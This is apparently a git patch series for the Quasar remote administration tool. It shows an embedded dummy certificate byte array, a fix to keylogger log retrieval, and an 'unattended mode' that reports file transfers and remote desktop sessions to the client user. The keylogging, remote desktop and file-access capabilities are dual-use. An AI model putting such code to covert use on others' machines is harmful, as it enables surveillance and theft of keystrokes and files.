155, + 17, 171, 178, 179, 200, 172, 189, 230, 211, 167, 111, 219, 157, 175, 110, 33, 53, 162, 249, 155, 110, 249, + 159, 120, 168, 146, 98, 119, 140, 238, 13, 77, 16, 35, 183, 200, 20, 74, 25, 105, 245, 48, 91, 75, 210, 195, + 168, 76, 172, 157, 202, 203, 108, 34, 162, 141, 136, 183, 111, 195, 40, 142, 151, 95, 157, 57, 211, 5, 127, + 199, 170, 45, 192, 147, 52, 17, 75, 197, 52, 214, 172, 126, 206, 134, 135, 204, 128, 251, 33, 36, 238, 83, + 74, 59, 166, 161, 177, 59, 226, 243, 152, 190, 168, 212, 127, 120, 115, 65, 76, 132, 115, 150, 146, 225, + 210, 208, 114, 121, 11, 107, 230, 225, 140, 250, 169, 215, 83, 231, 124, 35, 207, 76, 20, 69, 31, 184, 210, + 184, 55, 170, 226, 118, 0, 252, 105, 91, 201, 82, 36, 4, 45, 135, 38, 168, 81, 202, 91, 49, 217, 213, 26, + 210, 77, 37, 5, 57, 71, 227, 23, 58, 18, 221, 194, 34, 88, 218, 219, 124, 48, 230, 8, 239, 185, 169, 150, + 190, 246, 112, 92, 208, 93, 160, 248, 197, 64, 196, 20, 20, 11, 239, 147, 195, 179, 47, 136, 153, 24, 143, + 103, 57, 88, 246, 122, 63, 203, 165, 192, 130, 130, 228, 235, 45, 36, 103, 235, 165, 72, 130, 45, 222, 212, + 50, 179, 154, 77, 71, 102, 1, 44, 21, 19, 215, 240, 134, 231, 124, 222, 168, 210, 191, 141, 7, 193, 102, + 148, 81, 46, 6, 111, 14, 14, 48, 29, 21, 54, 166, 217, 32, 106, 240, 69, 137, 171, 58, 217, 110, 79, 172, + 92, 198, 174, 177, 196, 10, 10, 214, 105, 43, 125, 185, 217, 58, 252, 60, 229, 252, 126, 109, 79, 234, 35, + 215, 121, 141, 120, 21, 222, 174, 186, 64, 190, 244, 66, 251, 17, 168, 85, 199, 233, 182, 233, 75, 107, 0, + 176, 71, 27, 167, 216, 84, 78, 115, 128, 177, 20, 104, 248, 219, 68, 95, 250, 30, 126, 25, 223, 195, 17, 76, + 245, 157, 52, 91, 201, 180, 142, 110, 114, 229, 89, 65, 43, 72, 2, 44, 85, 207, 69, 15, 189, 152, 230, 94, + 245, 153, 171, 151, 15, 38, 177, 167, 28, 206, 43, 190, 125, 8, 106, 233, 168, 156, 106, 196, 116, 163, 130, + 10, 247, 189, 5, 181, 50, 254, 76, 158, 252, 132, 192, 117, 97, 158, 141, 33, 184, 27, 118, 101, 224, 128, + 59, 18, 247, 205, 18, 129, 45, 115, 122, 139, 11, 35, 18, 227, 210, 131, 181, 24, 41, 10, 177, 203, 116, + 241, 106, 117, 133, 217, 104, 173, 161, 44, 114, 98, 234, 7, 165, 200, 89, 183, 148, 230, 84, 129, 196, 142, + 146, 208, 121, 38, 64, 124, 23, 23, 181, 182, 54, 122, 142, 127, 204, 56, 30, 92, 113, 123, 182, 97, 186, + 214, 44, 237, 20, 141, 47, 38, 47, 197, 69, 237, 13, 5, 244, 220, 251, 31, 45, 223, 195, 193, 42, 136, 36, + 150, 133, 161, 244, 29, 82, 228, 253, 63, 147, 254, 58, 92, 194, 4, 162, 190, 16, 61, 177, 222, 122, 10, 73, + 106, 196, 243, 153, 240, 22, 223, 123, 107, 193, 59, 23, 45, 129, 14, 12, 184, 85, 22, 233, 165, 212, 188, + 30, 68, 154, 206, 135, 223, 170, 149, 242, 10, 55, 73, 215, 162, 5, 53, 75, 45, 179, 62, 160, 240, 145, 200, + 154, 61, 75, 135, 108, 33, 16, 206, 89, 185, 120, 182, 229, 224, 31, 98, 244, 136, 229, 55, 205, 55, 75, + 237, 41, 122, 64, 160, 189, 1, 15, 245, 126, 248, 74, 130, 135, 237, 66, 207, 142, 192, 217, 123, 74, 140, + 44, 93, 199, 145, 157, 103, 12, 235, 224, 194, 168, 213, 49, 82, 251, 182, 219, 240, 37, 197, 255, 120, 151, + 99, 204, 210, 191, 231, 8, 230, 241, 3, 136, 120, 234, 38, 251, 234, 130, 231, 30, 6, 123, 12, 147, 83, 195, + 107, 233, 97, 131, 124, 237, 7, 119, 16, 61, 243, 36, 24, 53, 8, 140, 85, 158, 232, 206, 234, 21, 163, 245, + 160, 171, 174, 130, 206, 74, 19, 178, 161, 187, 9, 69, 121, 179, 67, 24, 139, 165, 161, 189, 246, 203, 36, + 215, 192, 64, 32, 34, 201, 135, 179, 135, 111, 148, 202, 214, 11, 125, 200, 194, 8, 254, 86, 31, 134, 127, + 118, 217, 108, 94, 58, 158, 238, 164, 51, 65, 142, 247, 19, 244, 154, 56, 17, 159, 173, 138, 182, 220, 118, + 239, 73, 245, 229, 183, 44, 206, 238, 154, 153, 111, 97, 130, 52, 150, 241, 191, 20, 5, 237, 122, 12, 74, + 23, 154, 29, 229, 255, 210, 254, 180, 215, 111, 62, 254, 8, 69, 226, 216, 142, 183, 6, 114, 37, 178, 215, + 191, 166, 72, 34, 86, 77, 154, 110, 211, 90, 14, 233, 200, 43, 232, 193, 206, 26, 38, 76, 111, 187, 90, 118, + 142, 122, 92, 96, 124, 187, 144, 0, 164, 134, 211, 88, 60, 17, 169, 76, 105, 77, 243, 27, 155, 93, 33, 13, + 3, 184, 184, 220, 19, 174, 221, 225, 121, 112, 99, 122, 173, 96, 14, 98, 244, 42, 187, 57, 108, 8, 214, 60, + 77, 113, 249, 110, 152, 96, 52, 186, 176, 201, 142, 21, 204, 41, 163, 3, 192, 99, 140, 189, 152, 13, 65, + 222, 220, 49, 45, 202, 210, 249, 122, 135, 178, 19, 49, 16, 149, 203, 203, 62, 131, 91, 17, 171, 164, 149, + 34, 226, 96, 123, 32, 141, 102, 158, 186, 241, 59, 192, 186, 36, 41, 133, 115, 108, 121, 34, 104, 57, 141, + 167, 160, 58, 95, 171, 215, 122, 153, 129, 166, 10, 190, 60, 51, 70, 157, 141, 11, 104, 255, 111, 160, 173, + 174, 77, 83, 63, 130, 219, 36, 90, 254, 34, 55, 195, 216, 112, 194, 15, 126, 149, 143, 145, 175, 72, 24, + 120, 140, 217, 215, 27, 107, 240, 196, 196, 234, 81, 154, 152, 12, 44, 108, 173, 210, 32, 181, 172, 148, 75, + 71, 89, 136, 224, 28, 229, 121, 76, 64, 60, 200, 60, 200, 88, 193, 217, 252, 162, 181, 215, 99, 86, 47, 181, + 16, 49, 65, 158, 78, 130, 204, 188, 196, 25, 224, 201, 106, 237, 103, 183, 96, 58, 64, 185, 28, 66, 178, + 213, 47, 103, 26, 89, 33, 97, 248, 34, 232, 27, 30, 93, 57, 1, 236, 105, 46, 59, 4, 188, 47, 182, 150, 65, + 195, 107, 203, 52, 149, 240, 16, 130, 254, 189, 98, 56, 221, 177, 163, 66, 62, 123, 0, 252, 169, 178, 166, + 68, 167, 75, 64, 161, 80, 85, 196, 98, 209, 248, 46, 115, 188, 0, 160, 123, 147, 79, 151, 188, 206, 158, + 145, 42, 212, 205, 37, 163, 76, 221, 146, 51, 229, 181, 127, 53, 157, 142, 107, 215, 231, 181, 32, 110, 2, + 13, 55, 122, 56, 226, 158, 126, 124, 193, 193, 172, 222, 9, 211, 83, 166, 69, 95, 145, 169, 31, 211, 139, + 62, 215, 90, 226, 244, 129, 197, 143, 228, 185, 206, 236, 90, 218, 189, 234, 69, 57, 25, 49, 152, 175, 211, + 136, 202, 160, 116, 56, 118, 27, 204, 213, 3, 163, 97, 194, 156, 213, 7, 9, 254, 203, 230, 252, 173, 231, + 197, 135, 224, 3, 206, 157, 166, 193, 184, 153, 57, 253, 229, 87, 234, 118, 50, 163, 151, 53, 82, 206, 36, + 206, 128, 41, 180, 11, 30, 110, 49, 216, 236, 201, 46, 88, 157, 92, 221, 106, 88, 82, 198, 33, 91, 171, 117, + 88, 146, 58, 2, 30, 233, 215, 105, 141, 228, 183, 124, 244, 231, 224, 165, 131, 9, 33, 230, 211, 56, 215, + 221, 38, 141, 158, 48, 250, 119, 102, 226, 206, 32, 70, 140, 53, 210, 12, 206, 88, 220, 35, 2, 195, 157, 7, + 9, 215, 158, 85, 149, 89, 101, 46, 3, 253, 195, 82, 2, 12, 19, 149, 52, 209, 8, 242, 145, 34, 109, 185, 236, + 18, 2, 109, 96, 251, 3, 169, 68, 185, 63, 6, 213, 239, 100, 248, 111, 131, 243, 252, 214, 16, 140, 38, 159, + 138, 17, 141, 98, 96, 137, 140, 243, 11, 120, 69, 229, 212, 71, 2, 254, 98, 171, 207, 69, 72, 70, 186, 83, + 193, 208, 174, 125, 197, 148, 69, 35, 147, 134, 156, 106, 41, 72, 111, 140, 65, 185, 110, 212, 225, 34, 198, + 198, 47, 142, 160, 78, 217, 170, 7, 114, 50, 164, 217, 15, 37, 186, 211, 124, 75, 133, 64, 165, 120, 246, + 22, 226, 204, 186, 137, 154, 130, 142, 238, 147, 188, 206, 129, 19, 177, 117, 166, 180, 211, 16, 221, 29, + 112, 161, 109, 137, 224, 173, 205, 53, 158, 63, 198, 250, 131, 145, 118, 119, 12, 157, 94, 232, 27, 60, 254, + 57, 223, 154, 185, 96, 127, 137, 166, 238, 1, 58, 153, 154, 188, 9, 89, 20, 102, 191, 2, 106, 31, 27, 11, + 221, 206, 26, 145, 142, 192, 196, 28, 230, 213, 149, 52, 63, 48, 137, 25, 254, 27, 205, 207, 20, 5, 12, 37, + 34, 98, 188, 70, 50, 181, 187, 224, 166, 251, 59, 47, 226, 11, 130, 158, 52, 28, 70, 162, 165, 49, 111, 198, + 39, 64, 90, 213, 7, 91, 38, 95, 126, 160, 222, 205, 89, 27, 39, 1, 148, 126, 204, 179, 207, 235, 184, 7, 74, + 37, 64, 189, 167, 234, 196, 149, 160, 24, 111, 152, 246, 17, 184, 83, 189, 158, 106, 78, 221, 108, 87, 128, + 113, 112, 207, 53, 93, 48, 65, 128, 64, 194, 141, 126, 185, 130, 190, 66, 1, 20, 245, 213, 137, 66, 119, 18, + 225, 24, 225, 193, 179, 76, 132, 207, 169, 66, 221, 180, 135, 80, 17, 52, 243, 129, 80, 64, 151, 14, 65, + 233, 83, 72, 49, 251, 59, 67, 92, 87, 110, 34, 77, 14, 168, 126, 236, 155, 238, 213, 60, 233, 173, 83, 150, + 105, 241, 255, 97, 54, 48, 32, 93, 52, 30, 25, 227, 37, 151, 191, 46, 59, 19, 19, 225, 68, 161, 179, 19, + 144, 207, 67, 230, 67, 45, 197, 4, 162, 215, 43, 80, 96, 124, 130, 246, 27, 164, 94, 174, 205, 98, 102, 83, + 173, 247, 21, 11, 250, 32, 119, 29, 77, 42, 190, 97, 134, 48, 219, 57, 50, 52, 55, 184, 242, 109, 136, 100, + 214, 224, 129, 197, 233, 130, 119, 0, 242, 203, 131, 124, 175, 210, 225, 56, 53, 238, 177, 236, 77, 173, 82, + 83, 223, 217, 232, 149, 146, 184, 166, 40, 126, 134, 34, 50, 204, 75, 120, 124, 62, 139, 166, 244, 2, 38, + 172, 55, 41, 38, 206, 160, 17, 30, 163, 160, 110, 81, 182, 56, 1, 225, 252, 100, 24, 24, 231, 188, 239, 106, + 162, 108, 87, 120, 51, 80, 96, 184, 252, 121, 238, 164, 197, 30, 205, 52, 54, 95, 27, 96, 227, 161, 87, 127, + 98, 255, 5, 10, 92, 76, 93, 110, 237, 22, 176, 152, 10, 145, 194, 233, 38, 148, 237, 233, 134, 202, 52, 239, + 169, 47, 243, 189, 103, 232, 142, 146, 215, 49, 130, 1, 3, 48, 19, 6, 9, 42, 134, 72, 134, 247, 13, 1, 9, + 21, 49, 6, 4, 4, 1, 0, 0, 0, 48, 113, 6, 9, 42, 134, 72, 134, 247, 13, 1, 9, 20, 49, 100, 30, 98, 0, 66, 0, + 111, 0, 117, 0, 110, 0, 99, 0, 121, 0, 67, 0, 97, 0, 115, 0, 116, 0, 108, 0, 101, 0, 45, 0, 97, 0, 48, 0, + 48, 0, 101, 0, 98, 0, 48, 0, 102, 0, 54, 0, 45, 0, 98, 0, 50, 0, 99, 0, 54, 0, 45, 0, 52, 0, 51, 0, 57, 0, + 57, 0, 45, 0, 98, 0, 56, 0, 52, 0, 52, 0, 45, 0, 52, 0, 102, 0, 55, 0, 98, 0, 56, 0, 97, 0, 53, 0, 99, 0, + 99, 0, 97, 0, 51, 0, 101, 48, 121, 6, 9, 43, 6, 1, 4, 1, 130, 55, 17, 1, 49, 108, 30, 106, 0, 77, 0, 105, 0, + 99, 0, 114, 0, 111, 0, 115, 0, 111, 0, 102, 0, 116, 0, 32, 0, 69, 0, 110, 0, 104, 0, 97, 0, 110, 0, 99, 0, + 101, 0, 100, 0, 32, 0, 82, 0, 83, 0, 65, 0, 32, 0, 97, 0, 110, 0, 100, 0, 32, 0, 65, 0, 69, 0, 83, 0, 32, 0, + 67, 0, 114, 0, 121, 0, 112, 0, 116, 0, 111, 0, 103, 0, 114, 0, 97, 0, 112, 0, 104, 0, 105, 0, 99, 0, 32, 0, + 80, 0, 114, 0, 111, 0, 118, 0, 105, 0, 100, 0, 101, 0, 114, 48, 130, 5, 143, 6, 9, 42, 134, 72, 134, 247, + 13, 1, 7, 6, 160, 130, 5, 128, 48, 130, 5, 124, 2, 1, 0, 48, 130, 5, 117, 6, 9, 42, 134, 72, 134, 247, 13, + 1, 7, 1, 48, 28, 6, 10, 42, 134, 72, 134, 247, 13, 1, 12, 1, 3, 48, 14, 4, 8, 197, 180, 184, 234, 62, 183, + 126, 192, 2, 2, 7, 208, 128, 130, 5, 72, 82, 253, 63, 238, 110, 242, 96, 184, 169, 64, 162, 143, 164, 116, + 242, 201, 183, 48, 112, 176, 72, 130, 247, 187, 199, 107, 16, 243, 59, 238, 135, 24, 177, 105, 228, 132, 35, + 235, 193, 103, 217, 193, 235, 32, 106, 47, 90, 187, 129, 92, 191, 73, 144, 37, 5, 197, 190, 39, 243, 83, 21, + 161, 49, 59, 4, 20, 196, 238, 174, 98, 66, 242, 28, 1, 64, 47, 11, 244, 179, 45, 233, 11, 14, 243, 228, 32, + 116, 163, 144, 99, 153, 3, 60, 140, 225, 179, 5, 36, 120, 230, 202, 163, 174, 255, 75, 237, 233, 47, 60, + 199, 128, 161, 221, 232, 62, 29, 141, 232, 203, 237, 235, 192, 63, 11, 131, 67, 115, 141, 127, 14, 162, 124, + 17, 103, 207, 77, 158, 149, 108, 91, 67, 135, 123, 167, 133, 118, 22, 129, 57, 232, 95, 163, 123, 170, 191, + 180, 46, 205, 125, 163, 109, 20, 74, 227, 189, 68, 215, 146, 212, 38, 127, 73, 195, 207, 222, 227, 134, 145, + 6, 21, 223, 217, 237, 134, 129, 140, 153, 182, 143, 250, 219, 162, 254, 157, 18, 16, 141, 176, 249, 165, + 118, 85, 98, 35, 139, 214, 165, 27, 23, 63, 182, 201, 104, 202, 124, 81, 213, 194, 8, 108, 81, 126, 142, + 221, 175, 122, 165, 16, 153, 170, 31, 178, 122, 86, 73, 133, 136, 34, 177, 129, 90, 72, 24, 251, 91, 246, + 76, 186, 195, 122, 227, 93, 26, 71, 137, 201, 99, 222, 196, 156, 62, 195, 88, 46, 29, 254, 83, 23, 41, 143, + 103, 111, 79, 206, 5, 207, 10, 168, 23, 18, 197, 245, 24, 70, 154, 226, 196, 70, 147, 119, 217, 198, 196, + 171, 33, 121, 64, 180, 51, 50, 85, 57, 93, 179, 240, 248, 233, 139, 7, 191, 75, 193, 123, 119, 42, 239, 228, + 95, 145, 90, 67, 178, 119, 229, 71, 139, 57, 188, 152, 152, 153, 155, 1, 94, 238, 174, 215, 145, 56, 255, + 190, 101, 2, 136, 71, 228, 28, 7, 0, 166, 10, 122, 152, 40, 39, 125, 97, 206, 39, 41, 119, 61, 87, 14, 234, + 251, 29, 109, 14, 132, 20, 234, 182, 228, 218, 39, 4, 5, 118, 22, 37, 249, 138, 243, 253, 137, 27, 151, 87, + 27, 37, 77, 149, 96, 152, 24, 56, 1, 64, 231, 162, 137, 243, 105, 255, 97, 35, 41, 12, 25, 197, 79, 167, 79, + 187, 73, 229, 148, 253, 203, 46, 186, 201, 126, 225, 0, 218, 151, 176, 14, 243, 43, 178, 128, 153, 47, 182, + 215, 45, 3, 39, 191, 73, 215, 148, 26, 15, 98, 88, 41, 241, 160, 143, 77, 208, 218, 204, 113, 105, 169, 170, + 181, 93, 137, 112, 248, 17, 158, 240, 115, 117, 9, 220, 50, 103, 126, 151, 227, 146, 168, 132, 214, 100, + 167, 30, 113, 117, 163, 174, 177, 1, 88, 191, 53, 218, 213, 48, 39, 62, 179, 88, 37, 212, 69, 173, 199, 226, + 152, 80, 175, 165, 79, 67, 212, 249, 70, 109, 3, 160, 46, 253, 197, 14, 75, 79, 48, 4, 128, 217, 254, 167, + 114, 126, 46, 179, 36, 64, 3, 48, 216, 53, 50, 100, 80, 141, 48, 100, 32, 60, 109, 58, 216, 38, 218, 242, + 28, 117, 187, 163, 193, 168, 78, 6, 27, 200, 73, 103, 204, 80, 85, 174, 61, 143, 227, 84, 226, 127, 196, + 151, 18, 5, 128, 12, 187, 137, 68, 219, 159, 132, 113, 105, 243, 230, 96, 50, 26, 88, 102, 78, 102, 76, 14, + 252, 89, 180, 192, 85, 243, 127, 87, 123, 233, 136, 17, 174, 223, 103, 203, 187, 56, 129, 229, 199, 190, + 120, 25, 18, 61, 140, 197, 3, 66, 10, 65, 217, 235, 165, 62, 112, 119, 101, 106, 184, 203, 169, 184, 115, 2, + 205, 8, 125, 153, 84, 195, 215, 139, 249, 195, 102, 108, 79, 23, 177, 131, 212, 229, 39, 8, 176, 233, 188, + 216, 199, 37, 109, 122, 101, 81, 98, 178, 167, 215, 12, 37, 27, 137, 165, 249, 131, 40, 202, 162, 36, 184, + 88, 76, 185, 246, 167, 125, 116, 198, 109, 135, 98, 124, 223, 188, 186, 216, 155, 224, 237, 140, 52, 203, + 89, 65, 121, 251, 216, 85, 212, 164, 98, 204, 253, 102, 246, 19, 158, 187, 186, 60, 94, 44, 62, 147, 243, + 183, 82, 6, 28, 87, 198, 133, 28, 129, 12, 55, 84, 163, 238, 46, 176, 28, 132, 44, 199, 234, 28, 73, 27, + 190, 108, 85, 146, 53, 248, 134, 30, 227, 172, 250, 77, 225, 101, 105, 167, 99, 214, 192, 31, 3, 96, 52, 51, + 237, 165, 164, 101, 228, 88, 251, 44, 142, 225, 98, 72, 180, 50, 13, 66, 59, 173, 238, 197, 168, 188, 28, + 135, 195, 69, 247, 87, 216, 50, 52, 227, 16, 127, 162, 23, 58, 20, 120, 62, 184, 62, 122, 23, 209, 110, 168, + 26, 1, 182, 1, 130, 111, 224, 191, 93, 202, 68, 76, 243, 38, 225, 80, 219, 232, 145, 191, 84, 27, 69, 41, + 125, 229, 148, 119, 183, 52, 95, 219, 152, 41, 182, 89, 254, 166, 155, 125, 26, 233, 98, 150, 146, 10, 53, + 171, 176, 31, 138, 99, 74, 34, 228, 72, 202, 5, 120, 160, 135, 185, 222, 227, 42, 233, 74, 219, 101, 213, 2, + 112, 46, 108, 45, 49, 158, 185, 241, 83, 240, 167, 0, 140, 160, 194, 171, 2, 150, 96, 145, 214, 109, 31, 83, + 84, 62, 147, 54, 236, 193, 231, 187, 223, 83, 62, 251, 24, 79, 41, 30, 133, 241, 251, 191, 90, 187, 231, + 123, 115, 120, 41, 32, 134, 228, 202, 91, 81, 112, 34, 201, 223, 39, 208, 79, 117, 244, 151, 247, 98, 125, + 193, 220, 152, 195, 226, 1, 135, 24, 13, 227, 1, 24, 226, 101, 167, 131, 219, 173, 198, 31, 113, 248, 174, + 125, 159, 108, 79, 129, 7, 253, 13, 148, 21, 24, 123, 46, 56, 195, 15, 151, 197, 50, 251, 8, 48, 14, 164, + 51, 101, 46, 186, 241, 222, 221, 24, 99, 236, 255, 76, 3, 236, 67, 81, 154, 144, 196, 18, 119, 139, 127, + 241, 1, 89, 102, 172, 142, 87, 134, 56, 81, 120, 191, 242, 168, 237, 47, 143, 117, 146, 179, 137, 123, 243, + 14, 116, 94, 46, 219, 228, 209, 9, 94, 245, 83, 145, 153, 5, 62, 120, 49, 23, 36, 202, 50, 168, 108, 206, + 236, 119, 112, 187, 112, 120, 134, 62, 252, 108, 143, 115, 235, 254, 196, 119, 60, 163, 223, 188, 175, 57, + 77, 236, 99, 99, 197, 127, 196, 39, 58, 39, 24, 10, 212, 227, 37, 248, 219, 112, 161, 176, 82, 199, 97, 179, + 252, 60, 98, 209, 44, 161, 5, 63, 54, 154, 66, 9, 1, 56, 42, 25, 140, 75, 177, 135, 136, 212, 18, 241, 178, + 235, 115, 17, 99, 158, 113, 17, 4, 192, 30, 176, 238, 68, 171, 120, 76, 52, 145, 103, 30, 242, 130, 185, 85, + 19, 50, 180, 88, 213, 4, 62, 190, 238, 172, 203, 145, 233, 45, 53, 228, 144, 16, 180, 96, 89, 231, 141, 146, + 106, 199, 65, 241, 227, 173, 126, 204, 183, 18, 8, 18, 223, 196, 225, 151, 115, 0, 101, 21, 96, 49, 47, 130, + 18, 204, 70, 52, 189, 5, 107, 171, 47, 36, 209, 8, 166, 23, 183, 222, 154, 226, 13, 197, 166, 222, 197, 182, + 50, 155, 180, 156, 105, 244, 205, 226, 29, 128, 90, 126, 38, 9, 166, 195, 86, 22, 107, 253, 160, 163, 95, + 15, 23, 254, 115, 14, 219, 16, 159, 217, 116, 28, 13, 199, 147, 205, 182, 225, 185, 207, 89, 192, 169, 93, + 205, 226, 196, 204, 23, 168, 185, 121, 109, 126, 52, 222, 109, 248, 235, 64, 88, 101, 188, 246, 150, 193, + 90, 29, 131, 134, 149, 170, 240, 146, 169, 149, 250, 17, 49, 162, 6, 233, 194, 83, 210, 129, 141, 76, 115, + 151, 173, 48, 59, 48, 31, 48, 7, 6, 5, 43, 14, 3, 2, 26, 4, 20, 46, 139, 176, 16, 247, 139, 61, 176, 37, 63, + 246, 211, 123, 201, 3, 7, 235, 129, 230, 125, 4, 20, 175, 27, 113, 89, 19, 230, 155, 210, 161, 63, 10, 47, + 233, 189, 221, 31, 172, 172, 134, 47, 2, 2, 7, 208 + }; + + /// + /// Initializes a new instance of with a static dummy certificate. + /// + public DummyCertificate() :base(CertificateBytes) + { + } + } +} From 85edbef42132a78132703f5aa9a792397a4b87c8 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 31 May 2020 15:33:23 +0200 Subject: [PATCH 195/229] Fix keylogger retrieval being stuck when log directory does not exist --- Quasar.Server/Messages/KeyloggerHandler.cs | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/Quasar.Server/Messages/KeyloggerHandler.cs b/Quasar.Server/Messages/KeyloggerHandler.cs index a587364c2..41a567191 100644 --- a/Quasar.Server/Messages/KeyloggerHandler.cs +++ b/Quasar.Server/Messages/KeyloggerHandler.cs @@ -49,6 +49,7 @@ public KeyloggerHandler(Client client) : base(true) _fileManagerHandler = new FileManagerHandler(client, "Logs\\"); _fileManagerHandler.DirectoryChanged += DirectoryChanged; _fileManagerHandler.FileTransferUpdated += FileTransferUpdated; + _fileManagerHandler.ProgressChanged += StatusUpdated; MessageHandler.Register(_fileManagerHandler); } @@ -89,11 +90,17 @@ private string GetDownloadProgress(int allTransfers, int completedTransfers) return $"Downloading...({progress}%)"; } + private void StatusUpdated(object sender, string value) + { + // called when directory does not exist or access is denied + OnReport($"No logs found ({value})"); + } + private void DirectoryChanged(object sender, string remotePath, FileSystemEntry[] items) { if (items.Length == 0) { - OnReport("Ready"); + OnReport("No logs found"); return; } @@ -148,6 +155,7 @@ protected virtual void Dispose(bool disposing) if (disposing) { MessageHandler.Unregister(_fileManagerHandler); + _fileManagerHandler.ProgressChanged -= StatusUpdated; _fileManagerHandler.FileTransferUpdated -= FileTransferUpdated; _fileManagerHandler.DirectoryChanged -= DirectoryChanged; _fileManagerHandler.Dispose(); From 053890b9338875d2f75c78c82659bef94b86ed00 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 1 Jun 2020 22:19:20 +0200 Subject: [PATCH 196/229] Add unattended mode --- Quasar.Client/Config/Settings.cs | 2 + Quasar.Client/Messages/FileManagerHandler.cs | 10 +- .../Messages/NotificationMessageProcessor.cs | 11 ++ .../Messages/RemoteDesktopHandler.cs | 18 ++- Quasar.Client/Program.cs | 75 ++++++++++- Quasar.Client/QuasarApplication.cs | 124 +++++++++++------- Quasar.Common/Helpers/StringHelper.cs | 9 -- Quasar.Server/Build/ClientBuilder.cs | 6 +- Quasar.Server/Build/Renamer.cs | 2 +- Quasar.Server/Forms/FrmBuilder.Designer.cs | 115 +++++++++++----- Quasar.Server/Forms/FrmBuilder.cs | 12 +- Quasar.Server/Forms/FrmMain.cs | 4 +- Quasar.Server/Models/BuildOptions.cs | 1 + Quasar.Server/Models/BuilderProfile.cs | 17 ++- 14 files changed, 292 insertions(+), 114 deletions(-) create mode 100644 Quasar.Client/Messages/NotificationMessageProcessor.cs diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs index 01a545f4e..025d1b3e8 100644 --- a/Quasar.Client/Config/Settings.cs +++ b/Quasar.Client/Config/Settings.cs @@ -37,6 +37,7 @@ public static class Settings public static bool HIDEINSTALLSUBDIRECTORY = false; public static string INSTALLPATH = ""; public static string LOGSPATH = ""; + public static bool UNATTENDEDMODE = true; public static bool Initialize() { @@ -67,6 +68,7 @@ public static bool Initialize() public static bool HIDEINSTALLSUBDIRECTORY = false; public static string INSTALLPATH = ""; public static string LOGSPATH = ""; + public static bool UNATTENDEDMODE = false; public static bool Initialize() { diff --git a/Quasar.Client/Messages/FileManagerHandler.cs b/Quasar.Client/Messages/FileManagerHandler.cs index d8c9e23c4..49a0ba504 100644 --- a/Quasar.Client/Messages/FileManagerHandler.cs +++ b/Quasar.Client/Messages/FileManagerHandler.cs @@ -16,7 +16,7 @@ namespace Quasar.Client.Messages { - public class FileManagerHandler : IMessageProcessor, IDisposable + public class FileManagerHandler : NotificationMessageProcessor, IDisposable { private readonly ConcurrentDictionary _activeTransfers = new ConcurrentDictionary(); private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads @@ -52,7 +52,7 @@ private void OnClientStateChange(Networking.Client s, bool connected) } } - public bool CanExecute(IMessage message) => message is GetDrives || + public override bool CanExecute(IMessage message) => message is GetDrives || message is GetDirectory || message is FileTransferRequest || message is FileTransferCancel || @@ -60,9 +60,9 @@ message is FileTransferChunk || message is DoPathDelete || message is DoPathRename; - public bool CanExecuteFrom(ISender sender) => true; + public override bool CanExecuteFrom(ISender sender) => true; - public void Execute(ISender sender, IMessage message) + public override void Execute(ISender sender, IMessage message) { switch (message) { @@ -229,6 +229,7 @@ private void Execute(ISender client, FileTransferRequest message) using (var srcFile = new FileSplit(message.RemotePath, FileAccess.Read)) { _activeTransfers[message.Id] = srcFile; + OnReport("File upload started"); foreach (var chunk in srcFile) { if (_token.IsCancellationRequested || !_activeTransfers.ContainsKey(message.Id)) @@ -301,6 +302,7 @@ private void Execute(ISender client, FileTransferChunk message) } _activeTransfers[message.Id] = new FileSplit(filePath, FileAccess.Write); + OnReport("File download started"); } if (!_activeTransfers.ContainsKey(message.Id)) diff --git a/Quasar.Client/Messages/NotificationMessageProcessor.cs b/Quasar.Client/Messages/NotificationMessageProcessor.cs new file mode 100644 index 000000000..d02966b4b --- /dev/null +++ b/Quasar.Client/Messages/NotificationMessageProcessor.cs @@ -0,0 +1,11 @@ +using Quasar.Common.Messages; + +namespace Quasar.Client.Messages +{ + public abstract class NotificationMessageProcessor : MessageProcessorBase + { + protected NotificationMessageProcessor() : base(true) + { + } + } +} diff --git a/Quasar.Client/Messages/RemoteDesktopHandler.cs b/Quasar.Client/Messages/RemoteDesktopHandler.cs index 25cf22862..f4eb63ecc 100644 --- a/Quasar.Client/Messages/RemoteDesktopHandler.cs +++ b/Quasar.Client/Messages/RemoteDesktopHandler.cs @@ -12,18 +12,18 @@ namespace Quasar.Client.Messages { - public class RemoteDesktopHandler : IMessageProcessor, IDisposable + public class RemoteDesktopHandler : NotificationMessageProcessor, IDisposable { private UnsafeStreamCodec _streamCodec; - public bool CanExecute(IMessage message) => message is GetDesktop || + public override bool CanExecute(IMessage message) => message is GetDesktop || message is DoMouseEvent || message is DoKeyboardEvent || message is GetMonitors; - public bool CanExecuteFrom(ISender sender) => true; + public override bool CanExecuteFrom(ISender sender) => true; - public void Execute(ISender sender, IMessage message) + public override void Execute(ISender sender, IMessage message) { switch (message) { @@ -52,8 +52,14 @@ private void Execute(ISender client, GetDesktop message) if (_streamCodec == null) _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); - if (message.CreateNew || _streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex - || _streamCodec.Resolution != resolution) + if (message.CreateNew) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + OnReport("Remote desktop session started"); + } + + if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution) { _streamCodec?.Dispose(); diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs index 0f4a2ebcf..6ddad6e5a 100644 --- a/Quasar.Client/Program.cs +++ b/Quasar.Client/Program.cs @@ -1,20 +1,89 @@ -using System.Net; +using Quasar.Client.IO; +using System; +using System.Diagnostics; +using System.Net; +using System.Threading; using System.Windows.Forms; namespace Quasar.Client { internal static class Program { + [STAThread] private static void Main(string[] args) { // enable TLS 1.2 ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; + // Set the unhandled exception mode to force all Windows Forms errors to go through our handler + Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException); + + // Add the event handler for handling UI thread exceptions + Application.ThreadException += HandleThreadException; + + // Add the event handler for handling non-UI thread exceptions + AppDomain.CurrentDomain.UnhandledException += 